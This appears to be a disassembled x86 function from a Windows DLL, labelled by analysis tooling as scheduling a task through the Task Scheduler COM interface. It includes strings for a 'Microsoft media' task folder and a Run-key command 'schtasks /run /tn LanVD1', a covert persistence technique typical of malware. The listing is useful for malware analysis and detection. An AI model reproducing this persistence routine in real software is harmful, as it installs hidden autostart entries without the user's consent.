Function at 0x100075d0
Capabilities:
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000da80
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xf8
mov eax, dword [0x10015040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x100079b7
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0
push eax
push 0x1000e4ac
push 1
push 0
push 0x1000e4cc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x100079b1
mov eax, dword [ebp - 0x64]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [eax]
mov esi, dword [eax + 0x28]
lea eax, [ebp - 0xc8]
push eax
call edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0xb8]
movups xmm0, xmmword [ebp - 0xc8]
push eax
movups xmmword [ebp - 0xd8], xmm0
call edi
movups xmm0, xmmword [ebp - 0xb8]
lea eax, [ebp - 0x108]
push eax
movups xmmword [ebp - 0xe8], xmm0
call edi
movups xmm0, xmmword [ebp - 0x108]
lea eax, [ebp - 0xa8]
push eax
movups xmmword [ebp - 0xf8], xmm0
call edi
mov byte [ebp - 4], 3
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xd8]
mov eax, esp
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xf8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0xa8]
push dword [ebp - 0x64]
movups xmmword [eax], xmm0
call esi
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0xa8]
push eax
call edi
lea eax, [ebp - 0x108]
push eax
call edi
lea eax, [ebp - 0xb8]
push eax
call edi
lea eax, [ebp - 0xc8]
mov dword [ebp - 4], 0xffffffff
push eax
call edi
mov eax, dword [ebp - 0x64]
test esi, esi
js 0x100079ab
mov dword [ebp - 0x6c], 0
mov eax, dword [eax]
push 0xc
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x90], eax
call fcn.1000bfa6
mov esi, eax
add esp, 4
mov dword [ebp - 0x94], esi
mov dword [ebp - 4], 4
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
test esi, esi
je 0x10007792
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x1000e710
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f48
jmp 0x10007794
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x94], esi
test esi, esi
je 0x10007f48
lea eax, [ebp - 0x6c]
mov dword [ebp - 4], 5
push eax
push dword [esi]
push dword [ebp - 0x64]
call dword [ebp - 0x90]
mov dword [ebp - 0x90], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10007812
mov ecx, dword [esi]
test ecx, ecx
je 0x100077ea
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007801
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
mov eax, dword [ebp - 0x90]
add esp, 8
test eax, eax
js 0x100079a8
mov ecx, dword [ebp - 0x64]
lea edx, [ebp - 0x68]
push edx
mov dword [ebp - 0x68], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x24]
test eax, eax
js 0x1000799f
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x1c]
test eax, eax
js 0x10007996
mov eax, dword [ebp - 0x7c]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x90], eax
call fcn.1000bfa6
mov esi, eax
add esp, 4
mov dword [ebp - 0x94], esi
mov dword [ebp - 4], 6
test esi, esi
je 0x100078ae
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.Microsoft_media
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f52
jmp 0x100078b0
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x94], esi
test esi, esi
je 0x10007f48
mov dword [ebp - 4], 7
push dword [esi]
push dword [ebp - 0x7c]
call dword [ebp - 0x90]
mov dword [ebp - 0x90], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10007924
mov ecx, dword [esi]
test ecx, ecx
je 0x10007902
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007919
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
add esp, 8
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x90], 0
jl 0x10007996
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
test eax, eax
js 0x10007996
mov ecx, dword [ebp - 0x70]
lea edx, [ebp - 0x74]
push edx
mov dword [ebp - 0x74], 0
push 1
mov eax, dword [ecx]
push ecx
call dword [eax + 0x28]
test eax, eax
js 0x1000798d
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x80]
push edx
mov dword [ebp - 0x80], 0
push 0x1000e4bc
mov eax, dword [ecx]
push ecx
call dword [eax]
test eax, eax
jns 0x100079c1
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 1
jmp 0x10007f2a
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp - 0x56]
mov dx, word [ebp - 0x58]
inc ecx
movzx eax, cx
mov word [ebp - 0x56], cx
cmp eax, 0x3c
jb 0x100079ec
lea ecx, [eax - 0x3c]
inc dx
mov word [ebp - 0x56], cx
mov word [ebp - 0x58], dx
mov eax, dword [ebp - 0x54]
add eax, 0x1e
movzx esi, ax
mov word [ebp - 0x54], ax
cmp esi, 0x3c
jb 0x10007a0b
lea eax, [esi - 0x3c]
inc cx
mov word [ebp - 0x54], ax
mov word [ebp - 0x56], cx
movzx eax, ax
push eax
movzx eax, cx
push eax
movzx eax, dx
push eax
movzx eax, word [ebp - 0x5a]
push eax
movzx eax, word [ebp - 0x5e]
push eax
movzx eax, word [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push str._04d__02d__02dT_02d:_02d:_02d
push eax
call fcn.100092f0
mov eax, dword [ebp - 0x80]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x90], eax
call fcn.1000bfa6
mov esi, eax
add esp, 0x24
mov dword [ebp - 0x94], esi
mov dword [ebp - 4], 8
test esi, esi
je 0x10007a8d
xorps xmm0, xmm0
lea eax, [ebp - 0x50]
movq qword [esi], xmm0
mov dword [esi + 8], 0
push eax
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f5c
jmp 0x10007a8f
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x94], esi
test esi, esi
je 0x10007f48
mov dword [ebp - 4], 9
push dword [esi]
push dword [ebp - 0x80]
call dword [ebp - 0x90]
mov dword [ebp - 0x90], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10007b03
mov ecx, dword [esi]
test ecx, ecx
je 0x10007ae1
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007af8
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
add esp, 8
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x90], 0
jl 0x10007984
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x84]
mov dword [ebp - 0x84], 0
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x44]
test eax, eax
js 0x10007984
mov ecx, dword [ebp - 0x84]
lea edx, [ebp - 0x88]
push edx
mov dword [ebp - 0x88], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0x84]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10007984
mov ecx, dword [ebp - 0x88]
lea edx, [ebp - 0x78]
push edx
mov dword [ebp - 0x78], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0x88]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
js 0x10007984
mov eax, dword [ebp - 0x78]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x90], eax
call fcn.1000bfa6
mov esi, eax
add esp, 4
mov dword [ebp - 0x94], esi
mov dword [ebp - 4], 0xa
test esi, esi
je 0x10007bfb
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push 0x1000e834
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f66
jmp 0x10007bfd
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x94], esi
test esi, esi
je 0x10007f48
mov dword [ebp - 4], 0xb
push dword [esi]
push dword [ebp - 0x78]
call dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
or ecx, 0xffffffff
mov dword [ebp - 4], 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x10007c71
mov ecx, dword [esi]
test ecx, ecx
je 0x10007c4f
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007c66
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
add esp, 8
mov eax, dword [ebp - 0x78]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x90], eax
call fcn.1000bfa6
mov esi, eax
add esp, 4
mov dword [ebp - 0x98], esi
mov dword [ebp - 4], 0xc
test esi, esi
je 0x10007ccb
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.ADD__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___V__LanVl___t_REG_SZ__F__D__schtasks__run__tn_LanVD1_
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f70
jmp 0x10007ccd
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x98], esi
test esi, esi
je 0x10007f48
mov dword [ebp - 4], 0xd
push dword [esi]
push dword [ebp - 0x78]
call dword [ebp - 0x90]
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10007d3b
mov eax, dword [esi]
test eax, eax
je 0x10007d19
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007d30
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
add esp, 8
mov eax, dword [ebp - 0x78]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x94], 0
jl 0x10007984
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x8c], 0
push 0x1000e9d8
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x90], eax
mov eax, 8
mov word [ebp - 0xa8], ax
call edi
mov dword [ebp - 0xa0], eax
test eax, eax
je 0x10007f7a
mov dword [ebp - 4], 0xe
lea eax, [ebp - 0xb8]
movups xmm0, xmmword [ebp - 0xa8]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
push eax
movups xmmword [ebp - 0xf8], xmm0
call esi
movups xmm0, xmmword [ebp - 0xb8]
lea eax, [ebp - 0xc8]
push eax
movups xmmword [ebp - 0xe8], xmm0
call esi
mov byte [ebp - 4], 0x10
movups xmm0, xmmword [ebp - 0xc8]
mov eax, dword [ebp - 0x68]
push 0xc
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0x94], eax
call fcn.1000bfa6
mov esi, eax
add esp, 4
mov dword [ebp - 0x98], esi
mov byte [ebp - 4], 0x11
test esi, esi
je 0x10007e29
xorps xmm0, xmm0
movq qword [esi], xmm0
mov dword [esi + 8], 0
push str.VlInteraction
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call edi
mov dword [esi], eax
test eax, eax
je 0x10007f84
jmp 0x10007e2b
xor esi, esi
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x98], esi
test esi, esi
je 0x10007f8e
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x8c]
movups xmm0, xmmword [ebp - 0xf8]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0xd8]
push 6
push dword [ebp - 0x94]
movups xmmword [eax], xmm0
push dword [esi]
push dword [ebp - 0x6c]
call dword [ebp - 0x90]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10007eca
mov eax, dword [esi]
test eax, eax
je 0x10007ea8
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10007ebf
push eax
call fcn.1000c2f5
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.1000bf75
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0xc8]
push eax
call esi
lea eax, [ebp - 0xb8]
push eax
call esi
lea eax, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
push eax
call esi
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000bf67
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
push 0x8007000e
call fcn.1000cd10
int3